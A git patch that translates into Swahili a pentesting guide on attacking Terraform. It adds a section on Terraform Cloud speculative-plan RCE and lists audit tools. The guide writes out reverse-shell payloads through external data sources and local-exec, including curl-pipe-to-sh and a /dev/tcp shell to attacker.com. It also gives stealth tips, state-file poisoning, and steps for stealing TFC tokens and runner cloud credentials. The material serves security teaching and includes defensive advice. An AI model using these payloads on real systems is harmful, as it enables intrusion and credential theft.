From 490563643fe233e5766f99031ed63a3b07296c9a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 15:26:03 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/terraform-security.md'] to sw --- src/pentesting-ci-cd/terraform-security.md | 151 ++++++++++++++++----- 1 file changed, 116 insertions(+), 35 deletions(-) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index e3c7927c5..da62e96b9 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. +HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana kusimamia na kudhibiti miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. #### Terraform inafanya kazi vipi? @@ -28,7 +28,7 @@ Mtiririko wa msingi wa Terraform unajumuisha hatua tatu: Sakinisha terraform kwenye kompyuta yako. -Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una njia [bora ya kupakua terraform](https://www.terraform.io/downloads). +Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una [njia bora ya kupakua terraform](https://www.terraform.io/downloads). ## RCE katika Terraform: kuharibu faili ya usanidi @@ -36,9 +36,9 @@ Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** t Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kipaumbele** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. -Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hifadhi inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. +Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hazina inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. -Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/tumia kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: +Kwa kweli, kuna suluhisho huko nje ambazo **zinaendesha mpango/tumia terraform kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: {{#ref}} atlantis-security.md @@ -54,7 +54,7 @@ Terraform plan ni **amri inayotumika zaidi** katika terraform na waendelezaji/mi Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`. -Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha shell ya rev wakati wa kutekeleza `terraform plan`: +Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha rev shell wakati wa kutekeleza `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Kutumia mtoa huduma wa kawaida** -Mshambuliaji anaweza kutuma [mtoa huduma wa kawaida](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwa [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): +Mshambuliaji anaweza kutuma [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwa [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -83,7 +83,7 @@ Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec] Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: -- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: +- Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" @@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **terraform rev shell code in a branch** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **faili ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Unahitaji tu kuhakikisha kuwa payload kama ifuatavyo inamalizika katika faili ya `main.tf`: +Unahitaji tu kuhakikisha payload kama ifuatavyo inamalizika katika faili ya `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili kwa **njia ya siri zaidi kwa kutumia marejeleo ya nje**. +Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanya shambulio hili kwa **njia ya siri zaidi kwa kutumia marejeleo ya nje**. -## Mifuko ya Siri +## Mifumo ya Siri -Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** kwa kukimbia `terraform apply` kwa kuongeza kwenye faili la terraform kitu kama: +Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** ukikimbia `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,13 +124,13 @@ value = nonsensitive(var.do_token) ``` ## Abusing Terraform State Files -Katika hali ambapo una ufikiaji wa kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ufikiaji wa kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya `git`. +Katika hali ambapo una ruhusa ya kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ruhusa ya kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya `git`. ### RCE katika Terraform: uchafuzi wa faili za usanidi Inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali bandia inayorejelea mtoa huduma mbaya. -Mtoa huduma [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) unajenga juu ya utafiti na kuleta silaha kanuni hii. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya `command`. Wakati mchakato wa `terraform` unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikisafisha baada yake. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika [GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Mtoa huduma [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) unajenga juu ya utafiti na kuifanya kanuni hii kuwa silaha. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya `command`. Wakati mchakato wa `terraform` unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikijisafisha yenyewe. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika [GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu](https://github.com/offensive-actions/terraform-provider-statefile-rce). Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ya `resources` na kubadilisha sifa za `name` na `command`: ```json @@ -158,9 +158,9 @@ Kisha, mara tu `terraform` itakapotekelezwa, msimbo wako utaendesha. Kuna njia 2 za kuharibu rasilimali: -1. **Ingiza rasilimali yenye jina la bahati nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** +1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** -Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali: +Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichoonyeshwa). Mfano kutoka ukurasa wa awali: ```json { "mode": "managed", @@ -199,16 +199,89 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Vifaa vya Ukaguzi wa Otomatiki +## Terraform Cloud speculative plan RCE and credential exfiltration + +Hali hii inatumia Terraform Cloud (TFC) runners wakati wa mipango ya dhana ili kuhamasisha kwenye akaunti ya wingu ya lengo. + +- Masharti ya awali: +- Pora token ya Terraform Cloud kutoka kwa mashine ya mende. CLI inahifadhi token katika maandiko wazi kwenye `~/.terraform.d/credentials.tfrc.json`. +- Token lazima iwe na ufikiaji wa shirika/nafasi ya lengo na angalau ruhusa ya `plan`. Nafasi zinazoungwa mkono na VCS zinazuia `apply` kutoka CLI, lakini bado zinaruhusu mipango ya dhana. + +- Gundua mipangilio ya nafasi na VCS kupitia TFC API: +```bash +export TF_TOKEN= +curl -s -H "Authorization: Bearer $TF_TOKEN" \ +https://app.terraform.io/api/v2/organizations//workspaces/ | jq +``` +- Chochea utekelezaji wa msimbo wakati wa mpango wa dhana ukitumia chanzo cha data za nje na block ya "cloud" ya Terraform Cloud ili kulenga nafasi ya kazi inayotegemea VCS: +```hcl +terraform { +cloud { +organization = "acmecorp" +workspaces { name = "gcp-infra-prod" } +} +} + +data "external" "exec" { +program = ["bash", "./rsync.sh"] +} +``` +Mfano wa rsync.sh kupata shell ya kinyume kwenye TFC runner: +```bash +#!/usr/bin/env bash +bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' +``` +Fanya mpango wa dhana kutekeleza programu kwenye mchezaji wa muda mfupi: +```bash +terraform init +terraform plan +``` +- Tambua na uhamasisha akreditif za wingu zilizowekwa kutoka kwa mchezaji. Wakati wa kukimbia, TFC inaingiza akreditif za mtoa huduma kupitia faili na vigezo vya mazingira: +```bash +env | grep -i gcp || true +env | grep -i aws || true +``` +Inatarajiwa faili kwenye saraka ya kazi ya mkimbiaji: +- GCP: +- `tfc-google-application-credentials` (Mifumo ya Usimamizi wa Utambulisho wa JSON) +- `tfc-gcp-token` (token ya ufikiaji ya GCP ya muda mfupi) +- AWS: +- `tfc-aws-shared-config` (mifumo ya utambulisho wa wavuti/OIDC) +- `tfc-aws-token` (token ya muda mfupi; baadhi ya mashirika yanaweza kutumia funguo za kudumu) + +- Tumia akreditivu za muda mfupi nje ya muktadha ili kupita milango ya VCS: + +GCP (gcloud): +```bash +export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials +gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" +gcloud config set project +``` +AWS (AWS CLI): +```bash +export AWS_CONFIG_FILE=./tfc-aws-shared-config +export AWS_PROFILE=default +aws sts get-caller-identity +``` +Kwa hizi creds, washambuliaji wanaweza kuunda/kubadilisha/kubomoa rasilimali moja kwa moja kwa kutumia CLIs za asili, wakiepuka workflows za PR zinazozuia `apply` kupitia VCS. + +- Mwongozo wa kujihami: +- Tekeleza kanuni ya chini ya kibali kwa watumiaji/teams na tokens za TFC. Kagua uanachama na epuka wamiliki wakubwa. +- Punguza ruhusa ya `plan` kwenye maeneo ya kazi yanayoungwa mkono na VCS ambayo ni nyeti inapowezekana. +- Lazimisha orodha za ruhusa za mtoa huduma/chanzo cha data kwa sera za Sentinel ili kuzuia `data "external"` au watoa huduma wasiojulikana. Tazama mwongozo wa HashiCorp kuhusu kuchuja watoa huduma. +- Prefer OIDC/WIF badala ya akreditivu za wingu za kudumu; chukulia waendesha kama nyeti. Fuata mipango ya mpango wa dhana na kutoka zisizotarajiwa. +- Gundua uhamasishaji wa vitu vya akreditivu `tfc-*` na onya juu ya matumizi ya programu ya `external` isiyo ya kawaida wakati wa mipango. + +## Zana za Ukaguzi wa Otomatiki ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC. +Snyk inatoa suluhisho kamili la skanning la Infrastructure as Code (IaC) linalogundua udhaifu na makosa katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC. - **Vipengele:** -- Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya kufuata sheria. +- Skanning ya wakati halisi kwa udhaifu wa usalama na masuala ya kufuata. - Uunganisho na mifumo ya kudhibiti toleo (GitHub, GitLab, Bitbucket). -- Maombi ya kurekebisha yaliyotolewa kiotomatiki. +- Maombi ya kurekebisha otomatiki. - Ushauri wa kina wa kurekebisha. - **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/). ```bash @@ -223,24 +296,24 @@ snyk iac test /path/to/terraform/code Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua makosa ya usalama na kufuata kwa kutumia uchambuzi wa msingi wa grafu. -Inafanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uhalifu wa Kawaida (CVEs). +Inatekeleza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Hatari na Ufunuo wa Pamoja (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama-msingi wa kanuni. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo. -- **compliance:** Hakikisha kwamba kanuni iliyotekelezwa inafuata viwango vya usalama, viwango vyako vya kawaida +- **compliance:** Hakikisha kwamba msimbo ulioanzishwa unafuata viwango vya usalama, viwango vyako vya kawaida - **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC? -- **portable:** sakinisha tu kutoka `pip` au ikimbie kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** inathibitisha kanuni yako kabla ya kupelekwa +- **portable:** sakinisha tu kutoka `pip` au uendeshe kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** inathibitisha msimbo wako kabla ya kupelekwa - **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba uhamasishaji wote umethibitishwa. - **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika. > [!NOTE] -> Kwa bahati mbaya, ikiwa kanuni inatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya `terraform plan` na kuendesha chombo hiki. +> Kwa bahati mbaya, ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya `terraform plan` na kuendesha chombo hiki. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -248,7 +321,7 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Kutoka kwenye [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform ili kugundua uwezekano wa makosa ya usanidi. +Kutoka kwa [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform kubaini uwezekano wa makosa ya usanidi. - ☁️ Inakagua makosa ya usanidi katika watoa huduma wote wakuu (na wengine wadogo) - ⛔ Mamia ya sheria zilizojengwa ndani @@ -258,7 +331,7 @@ Kutoka kwenye [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia - 🔗 Inakadiria uhusiano kati ya rasilimali za Terraform - 🧰 Inafaa na Terraform CDK - 🙅 Inatumia (na kuimarisha) sera za Rego zilizofafanuliwa na mtumiaji -- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya kawaida), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif. +- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya default), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif. - 🛠️ Inaweza kubadilishwa (kupitia bendera za CLI na/au faili ya usanidi) - ⚡ Haraka sana, ina uwezo wa kuchanganua haraka hifadhi kubwa ```bash @@ -267,7 +340,7 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Pata udhaifu wa usalama, masuala ya ufuatiliaji, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. +Pata udhaifu wa usalama, masuala ya kufuata sheria, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. **KICS** inasimama kwa **K**uendelea **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. ```bash @@ -275,22 +348,30 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: +Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchanganuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: -- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila mshono. -- Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya hali, na inaruhusu kurudi kwenye hali salama. +- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida. +- Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya msimamo, na kuwezesha kurudi kwenye msimamo salama. - Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria. -- Kupunguza hatari kabla ya kutoa miundombinu ya asili ya wingu. -- Inatoa kubadilika kukimbia kwa ndani au kuungana na CI\CD yako. +- Kupunguza hatari kabla ya kutoa miundombinu asilia ya wingu. +- Kutoa uwezekano wa kufanya kazi kwa ndani au kuungana na CI\CD yako. ```bash brew install terrascan ``` -## Marejeo +## Marejeleo - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) +- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) +- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) +- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) +- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}